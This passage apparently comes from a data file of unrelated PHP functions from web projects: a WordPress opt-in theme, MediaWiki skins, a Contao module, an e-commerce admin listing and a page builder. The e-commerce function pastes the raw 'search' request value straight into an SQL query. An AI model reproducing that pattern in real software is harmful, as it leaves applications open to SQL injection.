$content_bg . ';' : '' ) . ( ! empty( $bg ) && ! empty( $content_bg ) && ($bg !== $content_bg) ? 'padding-top:10px;' : '' ) . '\">';\n\t\t\t\t\t$theme .= '<div id=\"om-slide-' . $this->theme . '-content-clear\">';\n\t\t\t\t\t\t $tagline = $this->get_field( 'tagline' );\n \t\t\t\t $style = '';\n \t\t\t\t if ( ! empty( $tagline['color'] ) )\n \t\t\t\t $style .= 'color:' . $tagline['color'] . ';';\n \t\t\t\t if ( ! empty( $tagline['font'] ) )\n \t\t\t\t $style .= 'font-family:\\'' . $tagline['font'] . '\\', sans-serif;';\n \t\t\t\t if ( ! empty( $tagline['size'] ) )\n \t\t\t\t $style .= 'font-size:' . $tagline['size'] . 'px;';\n \t\t\t\t if ( ! empty( $tagline['meta'] ) )\n \t\t\t\t foreach ( (array) $tagline['meta'] as $prop => $val )\n \t\t\t\t $style .= str_replace( '_', '-', $prop ) . ':' . $val . ';';\n\t\t\t\t\t\t\t$theme .= '<h2 id=\"om-slide-' . $this->theme . '-optin-tagline\" style=\"' . ( ! empty( $style ) ? $style : '' ) . '\">' . ( ! empty( $tagline['text'] ) ? $tagline['text'] : '' ) . '</h2>';\n\t\t\t\t\t$theme .= '</div>';\n\t\t\t\t$theme .= '</div>';\n\n\t\t\t\t// slide area.\n $class = $this->get_field( 'name', 'show' ) ? ' om-has-name-email' : ' om-has-email';\n\t\t\t\t$theme .= '<div id=\"om-slide-' . $this->theme . '-footer\" class=\"om-clearfix' . $class . '\" style=\"' . ( ! empty( $content_bg ) ? 'background-color: ' . $content_bg : '' ) . '\">';\n\t\t\t\t if ( isset( $this->meta['email']['provider'] ) && 'custom' == $this->meta['email']['provider'] ) :\n $theme .= html_entity_decode( $this->meta['custom_html'] );\n\t\t\t\t else :\n $disabled = 'customizer' == $this->env ? ' disabled=\"disabled\"' : '';\n $show_name = $this->get_field( 'name', 'show' );\n if ( $show_name ) {\n \t\t\t\t\t $name = $this->get_field( 'name' );\n \t\t\t\t $style = '';\n \t\t\t\t if ( ! empty( $name['color'] ) )\n \t\t\t\t $style .= 'color:' . $name['color'] . ';';\n \t\t\t\t if ( ! empty( $name['font'] ) )\n \t\t\t\t $style .= 'font-family:\\'' . $name['font'] . '\\', sans-serif;';\n \t\t\t\t if ( ! empty( $name['size'] ) )\n \t\t\t\t $style .= 'font-size:' . $name['size'] . 'px;';\n \t\t\t\t if ( ! empty( $name['meta'] ) )\n \t\t\t\t foreach ( (array) $name['meta'] as $prop => $val )\n \t\t\t\t $style .= str_replace( '_', '-', $prop ) . ':' . $val . ';';\n \t\t\t\t\t $theme .= '<input' . $disabled . ' id=\"om-slide-' . $this->theme . '-optin-name\" type=\"text\" value=\"\" placeholder=\"' . ( ! empty( $name['placeholder'] ) ? $name['placeholder'] : '' ) . '\" style=\"' . ( ! empty( $style ) ? $style : '' ) . '\" />';\n \t\t\t\t\t}\n\n \t\t\t\t $email = $this->get_field( 'email' );\n \t\t\t\t $style = '';\n \t\t\t\t if ( ! empty( $email['color'] ) )\n \t\t\t\t $style .= 'color:' . $email['color'] . ';';\n \t\t\t\t if ( ! empty( $email['font'] ) )\n \t\t\t\t $style .= 'font-family:\\'' . $email['font'] . '\\', sans-serif;';\n \t\t\t\t if ( ! empty( $email['size'] ) )\n \t\t\t\t $style .= 'font-size:' . $email['size'] . 'px;';\n \t\t\t\t if ( ! empty( $email['meta'] ) )\n \t\t\t\t foreach ( (array) $email['meta'] as $prop => $val )\n \t\t\t\t $style .= str_replace( '_', '-', $prop ) . ':' . $val . ';';\n \t\t\t\t\t$theme .= '<input' . $disabled . ' id=\"om-slide-' . $this->theme . '-optin-email\" type=\"email\" value=\"\" placeholder=\"' . ( ! empty( $email['placeholder'] ) ? $email['placeholder'] : '' ) . '\" style=\"' . ( ! empty( $style ) ? $style : '' ) . '\" />';\n\n $submit = $this->get_field( 'submit' );\n \t\t\t\t $style = '';\n \t\t\t\t if ( ! empty( $submit['field_color'] ) )\n \t\t\t\t $style .= 'color:' . $submit['field_color'] . ';';\n \t\t\t\t if ( ! empty( $submit['bg_color'] ) )\n \t\t\t\t $style .= 'background-color:' . $submit['bg_color'] . ';border-color:' . $submit['bg_color'] . ';';\n \t\t\t\t if ( ! empty( $submit['font'] ) )\n \t\t\t\t $style .= 'font-family:\\'' . $submit['font'] . '\\', sans-serif;';\n \t\t\t\t if ( ! empty( $submit['size'] ) )\n \t\t\t\t $style .= 'font-size:' . $submit['size'] . 'px;';\n \t\t\t\t if ( ! empty( $submit['meta'] ) )\n \t\t\t\t foreach ( (array) $submit['meta'] as $prop => $val )\n \t\t\t\t $style .= str_replace( '_', '-', $prop ) . ':' . $val . ';';\n \t\t\t\t\t$theme .= '<input' . $disabled . ' id=\"om-slide-' . $this->theme . '-optin-submit\" type=\"submit\" value=\"' . ( ! empty( $submit['placeholder'] ) ? $submit['placeholder'] : '' ) . '\" style=\"' . ( ! empty( $style ) ? $style : '' ) . '\" />';\n \t\t\t\tendif;\n\t\t\t\t$theme .= '</div>';\n\t\t\t$theme .= '</div>';\n\t\t$theme .= '</div>';\n\n\t\t// Build out any necessary JS elements.\n\t\t$theme .= '<script type=\"text/javascript\">';\n\t\t\t$theme .= 'function om_js_' . str_replace( '-', '_', $this->hash ) . '(){';\n\t\t\t\t$theme .= 'this.init = function($){this.resize_element($, \"div#om-' . $this->hash . ' #om-slide-' . $this->theme . '-optin\");},';\n\t\t\t\t$theme .= 'this.resize_element = function($, el){';\n\t\t\t\t\tif ( 'customizer' == $this->env ) :\n\t\t\t\t\t\t$theme .= '$(\"#om-slide-' . $this->theme . '-optin-name, #om-slide-' . $this->theme . '-optin-email\").resize(function(){$(\"#om-slide-' . $this->theme . '-optin-submit\").css({ \"height\": $(this).outerHeight() + \"px\", \"line-height\": ($(this).outerHeight()-10) + \"px\" });});';\n\t\t\t\t\t\t$theme .= '$(\"#om-slide-' . $this->theme . '-optin-title-open\").resize(function(){$(\"#om-slide-' . $this->theme . '-optin .om-slide-close-holder span\").css({ \"line-height\": $(\"#om-slide-' . $this->theme . '-optin-title-open\").outerHeight() + \"px\" });});';\n\t\t\t\t\t\t$theme .= '$(\"#om-slide-' . $this->theme . '-optin-title-closed\").resize(function(){$(\"#om-slide-' . $this->theme . '-optin .om-slide-open-holder span\").css({ \"line-height\": $(\"#om-slide-' . $this->theme . '-optin-title-closed\").outerHeight() + \"px\" });});';\n\t\t\t\t\t\t$theme .= '$(\"div#om-' . $this->hash . ' input[data-om-render=label]\").each(function(){var new_el = $(this).changeElementType(\\'label\\');});';\n\t\t\t\t\t\t$theme .= '$(\"div#om-' . $this->hash . ' label[data-om-render=label]\").each(function(){var new_el = $(this).text($(this).attr(\\'value\\')).removeAttr(\\'type\\');});';\n\t\t\t\t\t\t$theme .= '$(\"div#om-' . $this->hash . '\").find(\"input\").each(function(){$(this).attr(\"disabled\", \"disabled\");});';\n\t\t\t\t\t\t$theme .= '$(\"div#om-' . $this->hash . ' #om-slide-' . $this->theme . '-optin\").fadeIn(300);';\n\t\t\t\t\t\t$theme .= '$(\"div#om-' . $this->hash . ' #om-slide-' . $this->theme . '-optin .om-slide-open-holder\").on(\"click\", function(e){e.preventDefault();$(\"div#om-' . $this->hash . ' #om-slide-' . $this->theme . '-optin\").removeClass(\"om-slide-closed\").addClass(\"om-slide-open\");});';\n\t\t\t\t\t\t$theme .= '$(\"div#om-' . $this->hash . ' #om-slide-' . $this->theme . '-optin .om-slide-close-holder\").on(\"click\", function(e){e.preventDefault();$(\"div#om-' . $this->hash . ' #om-slide-' . $this->theme . '-optin\").removeClass(\"om-slide-open\").addClass(\"om-slide-closed\");});';\n\t\t\t\t\telse :\n\t\t\t\t\t\t$theme .= '$(\"#om-slide-' . $this->theme . '-optin .om-slide-open-holder span\").css({ \"line-height\": $(\"#om-slide-' . $this->theme . '-optin-title-closed\").outerHeight() + \"px\" });';\n\t\t\t \tendif;\n\t\t\t\t$theme .= '}';\n\t\t\t$theme .= '}';\n\t\t$theme .= '</script>';\n\n\t\t// Return the theme output and design.\n\t\treturn $theme;\n\n\t}", "function execute() {\n\t\tglobal $wgRequest;\n\t\t$this->skin = $skin = $this->data['skin'];\n\t\t$action = $wgRequest->getText( 'action' );\n \n // check if TOC is present\n $hasToc = strpos($this->data['bodytext'], 'id=\"toc\"');\n \n\t\t// Suppress warnings to prevent notices about missing indexes in $this->data\n\t\twfSuppressWarnings();\n\n?>\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"<?php $this->text('xhtmldefaultnamespace') ?>\" <?php\n\tforeach($this->data['xhtmlnamespaces'] as $tag => $ns) {\n\t\t?>xmlns:<?php echo \"{$tag}=\\\"{$ns}\\\" \";\n\t} ?>xml:lang=\"<?php $this->text('lang') ?>\" lang=\"<?php $this->text('lang') ?>\" dir=\"<?php $this->text('dir') ?>\">\n\t<head>\n\t\t<meta http-equiv=\"Content-Type\" content=\"<?php $this->text('mimetype') ?>; charset=<?php $this->text('charset') ?>\" />\n\t\t<?php $this->html('headlinks')?> \n\t\t<title><?php echo $this->cleanTitle('pagetitle'); ?></title>\n\t\t<?php $this->html('csslinks') ?>\n\n\t\t<!--[if lt IE 7]><script type=\"<?php $this->text('jsmimetype') ?>\" src=\"<?php $this->text('stylepath') ?>/common/IEFixes.js?<?php echo $GLOBALS['wgStyleVersion'] ?>\"></script>\n\t\t<meta http-equiv=\"imagetoolbar\" content=\"no\" /><![endif]-->\n\n\t\t<?php print Skin::makeGlobalVariablesScript( $this->data ); ?>\n\n <link rel=\"stylesheet\" type=\"text/css\" media=\"screen\" href=\"<?php $this->text('stylepath') ?>/ev/standard.css\" />\n\n\t\t<script type=\"<?php $this->text('jsmimetype') ?>\" src=\"<?php $this->text('stylepath' ) ?>/common/wikibits.js?<?php echo $GLOBALS['wgStyleVersion'] ?>\"><!-- wikibits js --></script>\n\t\t<!-- Head Scripts -->\n<?php $this->html('headscripts') ?>\n<?php\tif($this->data['jsvarurl']) { ?>\n\t\t<script type=\"<?php $this->text('jsmimetype') ?>\" src=\"<?php $this->text('jsvarurl') ?>\"><!-- site js --></script>\n<?php\t} ?>\n<?php\tif($this->data['pagecss']) { ?>\n\t\t<style type=\"text/css\"><?php $this->html('pagecss') ?></style>\n<?php\t}\n\t\tif($this->data['usercss']) { ?>\n\t\t<style type=\"text/css\"><?php $this->html('usercss') ?></style>\n<?php\t}\n\t\tif($this->data['userjs']) { ?>\n\t\t<script type=\"<?php $this->text('jsmimetype') ?>\" src=\"<?php $this->text('userjs' ) ?>\"></script>\n<?php\t}\n\t\tif($this->data['userjsprev']) { ?>\n\t\t<script type=\"<?php $this->text('jsmimetype') ?>\"><?php $this->html('userjsprev') ?></script>\n<?php\t}\n\t\tif($this->data['trackbackhtml']) print $this->data['trackbackhtml']; ?>\n\t</head>\n<body<?php if($this->data['body_ondblclick']) { ?> ondblclick=\"<?php $this->text('body_ondblclick') ?>\"<?php } ?>\n<?php if($this->data['body_onload']) { ?> onload=\"<?php $this->text('body_onload') ?>\"<?php } ?>\n class=\"yui-skin-sam ccPage mediawiki <?php $this->text('dir') ?> <?php $this->text('pageclass') ?> <?php $this->text('skinnameclass') ?>\">\n <div id=\"globalWrapper\">\n <div id=\"headerWrapper\" class=\"box\">\n <div id=\"headerLogo\">\n <h1><a href=\"/\"><span>F&ouml;rderverein&nbsp;Gentoo&nbsp;e.V.</span></a></h1>\n </div>\n <div id=\"headerNav\">\n <ul id=\"t-personal\">\n <?php \t\t\tforeach($this->data['personal_urls'] as $key => $item) { ?>\n \t\t\t\t<li id=\"<?php echo Sanitizer::escapeId( \"pt-$key\" ) ?>\"<?php\n \t\t\t\t\tif ($item['active']) { ?> class=\"active\"<?php } ?>><a href=\"<?php\n \t\t\t\techo htmlspecialchars($item['href']) ?>\"<?php echo $skin->tooltipAndAccesskeyAttribs('pt-'.$key) ?><?php\n \t\t\t\tif(!empty($item['class'])) { ?> class=\"<?php\n \t\t\t\techo htmlspecialchars($item['class']) ?>\"<?php } ?>><?php\n \t\t\t\techo htmlspecialchars($item['text']) ?></a></li>\n <?php\t\t\t} ?>\n \t\t </ul>\n </div>\n <div id=\"headerSearch\">\n <form method=\"get\" id=\"searchform\" action=\"<?php $this->text('searchaction') ?>\">\n <div>\n <input type=\"text\" \n <?php echo $this->skin->tooltipAndAccesskeyAttribs('search');\n \t\t\t\t\tif( isset( $this->data['search'] ) ) {\n \t\t\t\t\t\t?> value=\"<?php $this->text('search') ?>\" <?php } ?> \n \t\t\t\t name=\"search\" id=\"search\" class=\"inactive\" /> <input type=\"submit\" id=\"searchsubmit\" value=\"Suchen\" />\n </div>\n </form> \n </div>\n </div>\n <div id=\"mainContent\" class=\"box\">\n <!-- toolboxes -->\n <!--<div id=\"pageNav\"></div>-->\n \n <!-- page title -->\n <div class=\"block\" id=\"title\">\n <div id=\"contentSub\"><h3 class=\"category\"><?php echo str_replace(\"&lt; \", \"\", $this->data['subtitle']) ?></h3></div> \n <?php echo $this->cleanTitle(); ?>\n </div>\n \n <!-- page content -->\n <div id=\"contentPrimary\" class=\"<?php if (!$hasToc) {?>noToc<?php }?>\">\n\t <div class=\"block page\">\n <?php if($this->data['sitenotice']) { ?><div id=\"siteNotice\"><?php $this->html('sitenotice') ?></div><?php } ?>\n \t\t\n <?php if($this->data['undelete']) { ?><div id=\"contentSub2\"><?php $this->html('undelete') ?></div><?php } ?>\n \t\t\t<?php if($this->data['newtalk'] ) { ?><div class=\"usermessage\"><?php $this->html('newtalk') ?></div><?php } ?>\n \t\t\t<!-- start content -->\n \t\t\t<?php $this->html('bodytext') ?>\n \t\t\t<?php if($this->data['catlinks']) { $this->html('catlinks'); } ?>\n \t\t\t<!-- end content -->\n \t\t\t<?php if($this->data['dataAfterContent']) { $this->html ('dataAfterContent'); } ?>\n </div>\n </div>\n </div>\n \n <!-- footer -->\n <div id=\"footer\">\n <div id=\"footerContent\" class=\"box\">\n <ul id=\"t-page\">\n \t<?php\t\tforeach($this->data['content_actions'] as $key => $tab) {\n \t\t\t\t\techo '\n \t\t\t\t <li id=\"' . Sanitizer::escapeId( \"ca-$key\" ) . '\"';\n \t\t\t\t\tif( $tab['class'] ) {\n \t\t\t\t\t\techo ' class=\"'.htmlspecialchars($tab['class']).'\"';\n \t\t\t\t\t}\n \t\t\t\t\techo'><a href=\"'.htmlspecialchars($tab['href']).'\"';\n \t\t\t\t\t# We don't want to give the watch tab an accesskey if the\n \t\t\t\t\t# page is being edited, because that conflicts with the\n \t\t\t\t\t# accesskey on the watch checkbox. We also don't want to\n \t\t\t\t\t# give the edit tab an accesskey, because that's fairly su-\n \t\t\t\t\t# perfluous and conflicts with an accesskey (Ctrl-E) often\n \t\t\t\t\t# used for editing in Safari.\n \t\t\t\t \tif( in_array( $action, array( 'edit', 'submit' ) )\n \t\t\t\t \t&& in_array( $key, array( 'edit', 'watch', 'unwatch' ))) {\n \t\t\t\t \t\techo $skin->tooltip( \"ca-$key\" );\n \t\t\t\t \t} else {\n \t\t\t\t \t\techo $skin->tooltipAndAccesskeyAttribs( \"ca-$key\" );\n \t\t\t\t \t}\n \t\t\t\t \techo '>'.htmlspecialchars($tab['text']).'</a></li>';\n \t\t\t\t} ?>\n \t\t </ul>\n \t \n <ul id=\"t-toolbox\">\n <?php\n \t\tif($this->data['notspecialpage']) { ?>\n \t\t\t\t<li id=\"t-whatlinkshere\"><a href=\"<?php\n \t\t\t\techo htmlspecialchars($this->data['nav_urls']['whatlinkshere']['href'])\n \t\t\t\t?>\"<?php echo $this->skin->tooltipAndAccesskeyAttribs('t-whatlinkshere') ?>><?php $this->msg('whatlinkshere') ?></a></li>\n <?php\n \t\t\tif( $this->data['nav_urls']['recentchangeslinked'] ) { ?>\n \t\t\t\t<li id=\"t-recentchangeslinked\"><a href=\"<?php\n \t\t\t\techo htmlspecialchars($this->data['nav_urls']['recentchangeslinked']['href'])\n \t\t\t\t?>\"<?php echo $this->skin->tooltipAndAccesskeyAttribs('t-recentchangeslinked') ?>><?php $this->msg('recentchangeslinked') ?></a></li>\n <?php \t\t}\n \t\t}\n \t\tif(isset($this->data['nav_urls']['trackbacklink'])) { ?>\n \t\t\t<li id=\"t-trackbacklink\"><a href=\"<?php\n \t\t\t\techo htmlspecialchars($this->data['nav_urls']['trackbacklink']['href'])\n \t\t\t\t?>\"<?php echo $this->skin->tooltipAndAccesskeyAttribs('t-trackbacklink') ?>><?php $this->msg('trackbacklink') ?></a></li>\n <?php \t}\n \t\tif($this->data['feeds']) { ?>\n \t\t\t<li id=\"feedlinks\"><?php foreach($this->data['feeds'] as $key => $feed) {\n \t\t\t\t\t?><span id=\"<?php echo Sanitizer::escapeId( \"feed-$key\" ) ?>\"><a href=\"<?php\n \t\t\t\t\techo htmlspecialchars($feed['href']) ?>\"<?php echo $this->skin->tooltipAndAccesskeyAttribs('feed-'.$key) ?>><?php echo htmlspecialchars($feed['text'])?></a>&nbsp;</span>\n \t\t\t\t\t<?php } ?></li><?php\n \t\t}\n\n \t\tforeach( array('contributions', 'log', 'blockip', 'emailuser', 'upload', 'specialpages') as $special ) {\n\n \t\t\tif($this->data['nav_urls'][$special]) {\n \t\t\t\t?><li id=\"t-<?php echo $special ?>\"><a href=\"<?php echo htmlspecialchars($this->data['nav_urls'][$special]['href'])\n \t\t\t\t?>\"<?php echo $this->skin->tooltipAndAccesskeyAttribs('t-'.$special) ?>><?php $this->msg($special) ?></a></li>\n <?php\t\t}\n \t\t}\n\n \t\tif(!empty($this->data['nav_urls']['print']['href'])) { ?>\n \t\t\t\t<li id=\"t-print\"><a href=\"<?php echo htmlspecialchars($this->data['nav_urls']['print']['href'])\n \t\t\t\t?>\"<?php echo $this->skin->tooltipAndAccesskeyAttribs('t-print') ?>><?php $this->msg('printableversion') ?></a></li><?php\n \t\t}\n\n \t\tif(!empty($this->data['nav_urls']['permalink']['href'])) { ?>\n \t\t\t\t<li id=\"t-permalink\"><a href=\"<?php echo htmlspecialchars($this->data['nav_urls']['permalink']['href'])\n \t\t\t\t?>\"<?php echo $this->skin->tooltipAndAccesskeyAttribs('t-permalink') ?>><?php $this->msg('permalink') ?></a></li><?php\n \t\t} elseif ($this->data['nav_urls']['permalink']['href'] === '') { ?>\n \t\t\t\t<li id=\"t-ispermalink\"<?php echo $this->skin->tooltip('t-ispermalink') ?>><?php $this->msg('permalink') ?></li><?php\n \t\t}\n\n \t\twfRunHooks( 'MonoBookTemplateToolboxEnd', array( &$this ) );\n \t\twfRunHooks( 'SkinTemplateToolboxEnd', array( &$this ) );\n ?>\n </ul> \t \n \t \n <?php if($this->data['lastmod' ]) { ?><p><?php $this->html('lastmod') ?></p><?php } ?>\n \t \n \t <p>Gentoo&reg; ist eine eingetragene Marke des Förderverein&nbsp;Gentoo&nbsp;e.V. <strong>&copy; 2009&ndash;11 Förderverein Gentoo e.V.</strong>\n <a href=\"/wiki/Kontakt\" title=\"Impressum\">Impressum/Kontakt</a>\n </p>\n\n \t \n <!--<ul> \n \t <?php if($this->data['about' ]) { ?><li><?php $this->html('about') ?></li><?php } ?>\n </ul>-->\n </div>\n </div>\n \n </div>\n\n <?php $this->html('bottomscripts'); /* JS call to runBodyOnloadHook */ ?>\n <?php $this->html('reporttime'); ?>\n <?php if ( $this->data['debug'] ) { ?>\n <!-- Debug output:\n <?php $this->text( 'debug' ); ?>\n\n -->\n <?php } ?>\n</body></html>\n<?php\n\t}", "protected function compile()\n {\n // Backend mode\n if (TL_MODE == 'BE') {\n return $this->compileBackend('### Showcase Overview ###');\n }\n\n // Add folder navigation\n \\Input::setGet('showcase', \\Input::get('showcase'));\n\n if (!empty(\\Input::get('showcase'))) {\n return '';\n }\n\n // Add isotope JS library\n $GLOBALS['TL_JAVASCRIPT'][] = Environment::get('path').'/bundles/comoloshowcase/js/isotope.pkgd.min.js|static';\n $GLOBALS['TL_JAVASCRIPT'][] = Environment::get('path').'/bundles/comoloshowcase/js/isotope-script.js|static';\n\n $this->Template->categories = ShowcaseCategoryModel::findBy('pid', $this->showcase, ['order' => 'sorting ASC']);\n $this->Template->strShowcases = $this->parseShowcases();\n }", "protected function prepareQuickTemplate() {\n\t\t$out = $this->getOutput();\n\t\t// add head items\n\t\t$out->addMeta( 'viewport', 'initial-scale=1.0, user-scalable=yes, minimum-scale=0.25, ' .\n\t\t\t\t'maximum-scale=5.0, width=device-width'\n\t\t);\n\n\t\t// Generate skin template\n\t\t$tpl = parent::prepareQuickTemplate();\n\n\t\t$this->doesPageHaveLanguages = $tpl->data['content_navigation']['variants'] ||\n\t\t\t$tpl->data['language_urls'];\n\n\t\t// Set whether or not the page content should be wrapped in div.content (for\n\t\t// example, on a special page)\n\t\t$tpl->set( 'unstyledContent', $out->getProperty( 'unstyledContent' ) );\n\n\t\t// Set the links for the main menu\n\t\t$tpl->set( 'menu_data', $this->getMenuData() );\n\n\t\t// Set the links for page secondary actions\n\t\t$tpl->set( 'secondary_actions', $this->getSecondaryActions( $tpl ) );\n\n\t\t// Construct various Minerva-specific interface elements\n\t\t$this->preparePageContent( $tpl );\n\t\t$this->prepareHeaderAndFooter( $tpl );\n\t\t$this->prepareMenuButton( $tpl );\n\t\t$this->prepareBanners( $tpl );\n\t\t$this->preparePageActions( $tpl );\n\t\t$this->prepareUserButton( $tpl );\n\t\t$this->prepareLanguages( $tpl );\n\n\t\treturn $tpl;\n\t}", "public function templates($addon_directory);", "function m_packageHome()\n\t{\n\t\t\n\t\t$this->ObTpl=new template();\n\t\t$this->ObTpl->set_file(\"TPL_PACKAGE_FILE\",$this->packageTemplate);\n\n\t\t#SETTING ALL TEMPLATE BLOCKS\n\t\t$this->ObTpl->set_block(\"TPL_PACKAGE_FILE\",\"TPL_ATTACHED_BLK\", \"attached_blk\");\n\t\t$this->ObTpl->set_block(\"TPL_PACKAGE_FILE\",\"TPL_BUTTON_BLK\", \"btn_blk\");\n\t\t#SETTING TEMPLATE VARIABLE\n\t\t$this->ObTpl->set_var(\"GRAPHICSMAINPATH\",GRAPHICS_PATH);\t\n\t\t$this->ObTpl->set_var(\"TPL_SHOPURL\",SITE_URL.\"ecom/\");\n\t\t\t\t\n\t\t$this->ObTpl->set_var(\"attached_blk\",\"\");\n\t\t$this->ObTpl->set_var(\"btn_blk\",\"\");\n\t\t$this->ObTpl->set_var(\"TPL_VAR_MSG\",\"\");\n\t\t\n\t\t//defining language variables\n\t\t$this->ObTpl->set_var(\"LANG_VAR_PRODUCTPACKAGE\",LANG_PRODUCTPACKAGES);\n\t\t$this->ObTpl->set_var(\"LANG_VAR_CREATEPACKAGE\",LANG_CREATEPACKAGE);\n\t\t$this->ObTpl->set_var(\"LANG_VAR_RECORDSFOUND\",LANG_RECORDSFOUND);\n\t\t$this->ObTpl->set_var(\"LANG_VAR_SEARCH\",LANG_SEARCH);\n\t\t$this->ObTpl->set_var(\"LANG_VAR_ID\",LANG_ID);\n\t\t$this->ObTpl->set_var(\"LANG_VAR_NAME\",LANG_NAME);\n\t\t$this->ObTpl->set_var(\"LANG_VAR_PRODUCTSTXT\",LANG_PRODUCTSTXT);\n\t\t$this->ObTpl->set_var(\"LANG_VAR_DISASSEMBLE\",LANG_DISASSEMBLE);\n\t\t$this->ObTpl->set_var(\"LANG_VAR_EDITPACKAGE\",LANG_EDITPACKAGE);\n\t\t$this->ObTpl->set_var(\"LANG_VAR_EDIT\",LANG_EDIT);\n\n\t\tif(!isset($this->request['search']))\n\t\t{\n\t\t\t$this->request['search']=\"\";\n\t\t}\t\n\t\t\n\t\t#TO DISPLAY CURRENTLY ATTACHED ITEMS\n\t\t$query1 = \"SELECT vSku,vTitle,iProdId_PK,iKit FROM \".PRODUCTS.\" WHERE iKit='1' OR iKit='2' \";\n\n\t\tif(!empty($this->request['search']))\n\t\t{\n\t\t\t$query1.=\" AND vTitle like '%\".$this->request['search'].\"%' OR vSku like '%\".$this->request['search'].\"%'\";\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_LINK\",\"<a href=\".SITE_URL.\"ecom/adminindex.php?action=ec_package.home>View all</a>\");\n\t\t}\t\n\t\telse\n\t\t{\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_LINK\",\"\");\n\t\t}\n\t\n\t\t$this->obDb->query=$query1;\n\t\t$queryResult = $this->obDb->fetchQuery();\n\t\t$recordCount=$this->obDb->record_count;\n\t\t$this->ObTpl->set_var(\"TPL_VAR_RECORDCOUNT\",$recordCount);\n\t\tif($recordCount>0)\n\t\t{\n\t\t\t#PARSING TPL_ITEMS_BLK\n\t\t\tfor($j=0;$j<$recordCount;$j++)\n\t\t\t{\n\t\t\t\t$this->obDb->query= \"SELECT iKitId_PK FROM \".PRODUCTKITS.\" WHERE iKitid='\".$queryResult[$j]->iProdId_PK.\"'\";\n\t\t\t\t$rs = $this->obDb->fetchQuery();\n\t\t\t\t$rCount=$this->obDb->record_count;\n\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_RCOUNT\",$rCount);\n\n\t\t\t\t$this->obDb->query= \"SELECT vOwnerType,iOwner_FK FROM \".FUSIONS.\" WHERE iSubId_FK='\".$queryResult[$j]->iProdId_PK.\"' AND vType='product'\";\n\t\t\t\t$rs1 = $this->obDb->fetchQuery();\n\t\t\t\t\n\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_TYPE\",$rs1[0]->vOwnerType);\n\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_OWNER\",$rs1[0]->iOwner_FK);\n\n\t\t\t\tif($queryResult[$j]->iKit==1)\n\t\t\t\t{\n\t\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_CHECKED\",\"checked=\\\"checked\\\"\");\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_CHECKED\",\"\");\n\t\t\t\t}\n\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_SKU\",$this->libFunc->m_displayContent($queryResult[$j]->vSku));\n\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_TITLE\",$this->libFunc->m_displayContent($queryResult[$j]->vTitle));\n\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_ID\",$queryResult[$j]->iProdId_PK);\n\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_KITID\",$rs[0]->iKitId_PK);\n\t\t\t\t$this->ObTpl->parse(\"attached_blk\",\"TPL_ATTACHED_BLK\",true);\n\t\t\t\t$this->ObTpl->parse(\"btn_blk\",\"TPL_BUTTON_BLK\");\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_MSG\",MSG_NOPACKAGE);\n\t\t}\n\t\t\n\t\t#END DISPLAY CURRENTLY ATTACHED ITEMS\n\t\treturn($this->ObTpl->parse(\"return\",\"TPL_PACKAGE_FILE\"));\n\t}", "function projectpentagon_install() {\n\nadd_option(\"projectpentagon_title\", 'fgfhgThis it the Title of my Pentagram', '', 'yes');\n\nadd_option(\"projectpentagon_name1\", 'Name a', '', 'yes');\n\nadd_option(\"projectpentagon_name2\", 'Name b', '', 'yes');\n\nadd_option(\"projectpentagon_name3\", 'Name c', '', 'yes');\n\nadd_option(\"projectpentagon_name4\", 'Name d', '', 'yes');\n\nadd_option(\"projectpentagon_name5\", 'Name e', '', 'yes');\n\nadd_option(\"projectpentagon_color1\", 'Blue', '', 'yes');\n\nadd_option(\"projectpentagon_color2\", 'Red', '', 'yes');\n\nadd_option(\"projectpentagon_color3\", 'Yellow', '', 'yes');\n\nadd_option(\"projectpentagon_color4\", 'Green', '', 'yes');\n\nadd_option(\"projectpentagon_color5\", 'Orange', '', 'yes');\n\nadd_option(\"projectpentagon_category\", 'Category Name', '', 'yes');\nadd_option(\"projectpentagon-titleonpages\", 'title for pages', '', 'yes');\n\n//these could probably be created as an array? eventually\n\n}", "public function render_available_modules_template() {\n\n global $canvys;\n\n // The specific drop target of the shortcodes to show\n for ( $i=0; $i<3; $i++ ) : ?>\n\n <script type=\"text/html\" id=\"tmpl-cv-builder-module-options-dropzone-<?php echo $i; ?>\">\n\n <div class=\"cv-modal-content-padding\">\n\n <div class=\"cv-grid-6 has-clearfix spacing-2\">\n\n <?php foreach ( $canvys['shortcodes'] as $shortcode ) {\n\n if ( ! $shortcode->config['builder_element'] ) {\n continue;\n }\n\n if ( (int) $i !== $shortcode->config['drop_target'] ) {\n continue;\n } ?>\n <div>\n <a class=\"cv-composer-available-module\" data-handle=\"<?php echo $shortcode->config['handle']; ?>\">\n <i class=\"icon-<?php echo $shortcode->config['icon']; ?>\"></i>\n <strong><?php echo $shortcode->config['title']; ?></strong>\n </a>\n </div>\n <?php } ?>\n\n </div>\n\n </div>\n\n </script>\n\n <?php endfor;\n\n }", "function ShowHelp()\r\n{\r\n\tglobal $settings, $user_info, $language, $context, $txt, $sourcedir, $options, $scripturl;\r\n\r\n\tloadTemplate('Help');\r\n\tloadLanguage('Manual');\r\n\r\n\t$manual_areas = array(\r\n\t\t'getting_started' => array(\r\n\t\t\t'title' => $txt['manual_category_getting_started'],\r\n\t\t\t'description' => '',\r\n\t\t\t'areas' => array(\r\n\t\t\t\t'introduction' => array(\r\n\t\t\t\t\t'label' => $txt['manual_section_intro'],\r\n\t\t\t\t\t'template' => 'manual_intro',\r\n\t\t\t\t),\r\n\t\t\t\t'main_menu' => array(\r\n\t\t\t\t\t'label' => $txt['manual_section_main_menu'],\r\n\t\t\t\t\t'template' => 'manual_main_menu',\r\n\t\t\t\t),\r\n\t\t\t\t'board_index' => array(\r\n\t\t\t\t\t'label' => 